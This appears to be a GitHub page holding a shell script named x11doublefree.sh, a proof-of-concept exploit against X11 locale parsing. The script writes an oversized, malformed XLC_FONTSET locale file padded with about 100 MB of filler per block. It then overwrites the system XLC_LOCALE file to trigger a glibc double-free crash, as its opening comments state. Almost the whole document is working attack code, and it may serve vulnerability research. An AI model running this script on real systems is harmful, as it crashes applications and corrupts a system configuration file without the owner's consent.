Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Exploits/x11doublefree.sh
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
44 lines (34 sloc)
696 Bytes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #if testing on GLibc 2.31, the error message should be: | |
| #free(): double free detected in tcache 2 | |
| #Aborted (core dumped) | |
| touch final.txt | |
| for ((c=0; c <= 20; c++)) | |
| do | |
| touch test0.txt | |
| { | |
| echo "XLC_FONTSET" | |
| echo "fs$c {" | |
| echo "charset {" | |
| printf "name " | |
| } >> test0.txt | |
| dd if=/dev/zero bs=107374182 count=1 | tr '\0' '0' > test1.txt | |
| cat test1.txt >> test0.txt | |
| touch test2.txt | |
| { | |
| echo " " | |
| echo "}" | |
| echo "font {" | |
| printf "primary " | |
| } >> test0.txt | |
| cat test1.txt >> test0.txt | |
| { | |
| echo " " | |
| echo "vertical_rotate all" | |
| echo "}" | |
| echo "}" | |
| } >> test0.txt | |
| echo "END XLC_FONTSET" >> test0.txt | |
| cat test0.txt >> final.txt | |
| rm test*.txt | |
| done | |
| mv final.txt /usr/local/share/X11/locale/C/XLC_LOCALE | |